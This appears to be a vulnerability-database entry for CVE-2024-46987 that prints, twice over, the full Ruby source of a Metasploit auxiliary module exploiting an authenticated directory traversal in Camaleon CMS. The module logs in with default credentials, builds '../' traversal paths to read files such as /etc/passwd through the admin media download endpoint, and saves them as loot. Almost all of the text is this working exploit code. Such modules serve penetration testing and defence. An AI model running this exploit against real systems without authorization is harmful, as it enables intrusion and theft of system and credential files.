7.7
/ 10
HIGH
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
Description
Exploits CVE-2024-46987, an authenticated directory traversal vulnerability in Camaleon CMS versions use auxiliary/gather/camaleondownloadprivatefile msf auxiliarycamaleondownloadprivatefile show actions ...actions... msf...
Basic Information
ID
MSF:AUXILIARY-GATHER-CAMALEON_DOWNLOAD_PRIVATE_FILE-
Published
Apr 17, 2026 at 19:01
Affected Product
Affected Versions
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Camaleon CMS Directory Traversal CVE-2024-46987',
'Description' => %q{
Exploits CVE-2024-46987, an authenticated directory traversal
vulnerability in Camaleon CMS versions <= 2.8.0 and 2.9.0
},
'Author' => [
'Peter Stockli', # Vulnerability Disclosure
'Goultarde', # Python Script
'bootstrapbool', # Metasploit Module
],
'License' => MSF_LICENSE,
'Privileged' => true,
'Platform' => 'linux',
'References' => [
['CVE', '2024-46987'],
[
'URL', # Advisory
'https://securitylab.github.com/advisories/GHSL-2024-182_GHSL-2024-186_Camaleon_CMS/'
],
[
'URL', # Python Script
'https://github.com/Goultarde/CVE-2024-46987'
],
],
'DisclosureDate' => '2024-08-08',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options(
[
OptString.new('USERNAME', [true, 'Valid username', 'admin']),
OptString.new('PASSWORD', [true, 'Valid password', 'admin123']),
OptString.new('FILEPATH', [true, 'The path to the file to read', '/etc/passwd']),
OptString.new('TARGETURI', [false, 'The Camaleon CMS base path']),
OptInt.new('DEPTH', [ true, 'Depth for Path Traversal', 13 ]),
OptBool.new('STORE_LOOT', [false, 'Store the target file as loot', true])
]
)
end
def build_traversal_path(filepath, depth)
if depth == 0
return filepath
end
# Remove C:\ prefix if present (path traversal doesn't work with drive letters)
normalized_path = filepath.gsub(/^[A-Z]:\\/, '').gsub(/^[A-Z]:/, '')
traversal = '../' * depth
if normalized_path[0] == '/'
return "#{traversal[0..-2]}#{normalized_path}"
end
"#{traversal}#{normalized_path}"
end
def get_token(login_uri)
res = send_request_cgi({ 'uri' => login_uri, 'keep_cookies' => true })
return nil unless res && res.code == 200
match = res.body.match(/name="authenticity_token" value="([^"]+)"/)
return match ? match[1] : nil
end
def authenticate(username, password)
login_uri = normalize_uri(target_uri.path, 'admin/login')
vprint_status("Retrieving token from #{login_uri}")
token = get_token(login_uri)
if token.nil? || cookie_jar.empty?
fail_with(Failure::UnexpectedReply, 'Failed to retrieve token')
end
vprint_status("Retrieved token #{token}")
vprint_status("Authenticating to #{login_uri}")
res = send_request_cgi({
'method' => 'POST',
'uri' => login_uri,
'keep_cookies' => true,
'vars_post' => {
'authenticity_token' => token,
'user[username]' => username,
'user[password]' => password
}
})
unless res && res.code == 302
fail_with(Failure::NoAccess, 'Authentication failed')
end
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'admin/dashboard')
)
if res.body.downcase.include?('logout')
vprint_status('Authentication succeeded')
return
end
fail_with(Failure::NoAccess, 'Authentication failed')
end
def get_version
vprint_status('Attempting to get build number')
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'admin/dashboard')
)
return nil unless res && res.code == 200
html = res.get_html_document
version_div = html.css('div.pull-right').find do |div|
div.at_css('b') && div.at_css('b').text.strip == 'Version'
end
if version_div
match = version_div.text.strip.match(/Version\s*(\S+)/)
return match[1] if match
end
end
def vuln_version?(version)
print_status("Detected build version is #{version}")
if version == '2.9.0' || Rex::Version.new(version) < Rex::Version.new('2.8.1')
print_status('Version is vulnerable')
return true
end
print_warning('Version is not vulnerable')
false
end
def get_file(filepath)
filepath = build_traversal_path(filepath, datastore['DEPTH'])
lfi_uri = normalize_uri(
target_uri.path,
'admin/media/download_private_file'
)
vprint_status("Attempting to retrieve file #{filepath} from #{lfi_uri}")
res = send_request_cgi({
'uri' => lfi_uri,
'vars_get' => {
'file' => filepath
},
'encode_params' => false
})
if res
if res.code == 404
return nil
end
if res.body.downcase.include?('invalid file')
return nil
end
vprint_good('Successfully retrieved file')
return res.body
end
end
def run
cookie_jar.clear
authenticate(datastore['USERNAME'], datastore['PASSWORD'])
res = get_file(datastore['FILEPATH'])
if res.nil? || res == false || !res.is_a?(String)
fail_with(Failure::PayloadFailed, 'Failed to obtain file')
end
if datastore['STORE_LOOT']
path = store_loot(
'camaleon.traversal',
'text/plain',
datastore['RHOST'],
res,
datastore['FILEPATH']
)
print_good("#{datastore['FILEPATH']} stored as '#{path}'")
end
print_line
print_line(res)
end
def check
cookie_jar.clear
authenticate(datastore['USERNAME'], datastore['PASSWORD'])
version = get_version
if version.nil?
return Exploit::CheckCode::Unknown('Failed to get build version')
elsif vuln_version?(version) != true
return Exploit::CheckCode::Safe
end
res = get_file(datastore['FILEPATH'])
if res.nil? || res == false || !res.is_a?(String)
print_error('Failed to obtain file')
return Exploit::CheckCode::Appears
end
Exploit::CheckCode::Vulnerable
end
end
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Camaleon CMS Directory Traversal CVE-2024-46987',
'Description' => %q{
Exploits CVE-2024-46987, an authenticated directory traversal
vulnerability in Camaleon CMS versions <= 2.8.0 and 2.9.0
},
'Author' => [
'Peter Stockli', # Vulnerability Disclosure
'Goultarde', # Python Script
'bootstrapbool', # Metasploit Module
],
'License' => MSF_LICENSE,
'Privileged' => true,
'Platform' => 'linux',
'References' => [
['CVE', '2024-46987'],
[
'URL', # Advisory
'https://securitylab.github.com/advisories/GHSL-2024-182_GHSL-2024-186_Camaleon_CMS/'
],
[
'URL', # Python Script
'https://github.com/Goultarde/CVE-2024-46987'
],
],
'DisclosureDate' => '2024-08-08',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options(
[
OptString.new('USERNAME', [true, 'Valid username', 'admin']),
OptString.new('PASSWORD', [true, 'Valid password', 'admin123']),
OptString.new('FILEPATH', [true, 'The path to the file to read', '/etc/passwd']),
OptString.new('TARGETURI', [false, 'The Camaleon CMS base path']),
OptInt.new('DEPTH', [ true, 'Depth for Path Traversal', 13 ]),
OptBool.new('STORE_LOOT', [false, 'Store the target file as loot', true])
]
)
end
def build_traversal_path(filepath, depth)
if depth == 0
return filepath
end
# Remove C:\ prefix if present (path traversal doesn't work with drive letters)
normalized_path = filepath.gsub(/^[A-Z]:\\/, '').gsub(/^[A-Z]:/, '')
traversal = '../' * depth
if normalized_path[0] == '/'
return "#{traversal[0..-2]}#{normalized_path}"
end
"#{traversal}#{normalized_path}"
end
def get_token(login_uri)
res = send_request_cgi({ 'uri' => login_uri, 'keep_cookies' => true })
return nil unless res && res.code == 200
match = res.body.match(/name="authenticity_token" value="([^"]+)"/)
return match ? match[1] : nil
end
def authenticate(username, password)
login_uri = normalize_uri(target_uri.path, 'admin/login')
vprint_status("Retrieving token from #{login_uri}")
token = get_token(login_uri)
if token.nil? || cookie_jar.empty?
fail_with(Failure::UnexpectedReply, 'Failed to retrieve token')
end
vprint_status("Retrieved token #{token}")
vprint_status("Authenticating to #{login_uri}")
res = send_request_cgi({
'method' => 'POST',
'uri' => login_uri,
'keep_cookies' => true,
'vars_post' => {
'authenticity_token' => token,
'user[username]' => username,
'user[password]' => password
}
})
unless res && res.code == 302
fail_with(Failure::NoAccess, 'Authentication failed')
end
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'admin/dashboard')
)
if res.body.downcase.include?('logout')
vprint_status('Authentication succeeded')
return
end
fail_with(Failure::NoAccess, 'Authentication failed')
end
def get_version
vprint_status('Attempting to get build number')
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'admin/dashboard')
)
return nil unless res && res.code == 200
html = res.get_html_document
version_div = html.css('div.pull-right').find do |div|
div.at_css('b') && div.at_css('b').text.strip == 'Version'
end
if version_div
match = version_div.text.strip.match(/Version\s*(\S+)/)
return match[1] if match
end
end
def vuln_version?(version)
print_status("Detected build version is #{version}")
if version == '2.9.0' || Rex::Version.new(version) < Rex::Version.new('2.8.1')
print_status('Version is vulnerable')
return true
end
print_warning('Version is not vulnerable')
false
end
def get_file(filepath)
filepath = build_traversal_path(filepath, datastore['DEPTH'])
lfi_uri = normalize_uri(
target_uri.path,
'admin/media/download_private_file'
)
vprint_status("Attempting to retrieve file #{filepath} from #{lfi_uri}")
res = send_request_cgi({
'uri' => lfi_uri,
'vars_get' => {
'file' => filepath
},
'encode_params' => false
})
if res
if res.code == 404
return nil
end
if res.body.downcase.include?('invalid file')
return nil
end
vprint_good('Successfully retrieved file')
return res.body
end
end
def run
cookie_jar.clear
authenticate(datastore['USERNAME'], datastore['PASSWORD'])
res = get_file(datastore['FILEPATH'])
if res.nil? || res == false || !res.is_a?(String)
fail_with(Failure::PayloadFailed, 'Failed to obtain file')
end
if datastore['STORE_LOOT']
path = store_loot(
'camaleon.traversal',
'text/plain',
datastore['RHOST'],
res,
datastore['FILEPATH']
)
print_good("#{datastore['FILEPATH']} stored as '#{path}'")
end
print_line
print_line(res)
end
def check
cookie_jar.clear
authenticate(datastore['USERNAME'], datastore['PASSWORD'])
version = get_version
if version.nil?
return Exploit::CheckCode::Unknown('Failed to get build version')
elsif vuln_version?(version) != true
return Exploit::CheckCode::Safe
end
res = get_file(datastore['FILEPATH'])
if res.nil? || res == false || !res.is_a?(String)
print_error('Failed to obtain file')
return Exploit::CheckCode::Appears
end
Exploit::CheckCode::Vulnerable
end
end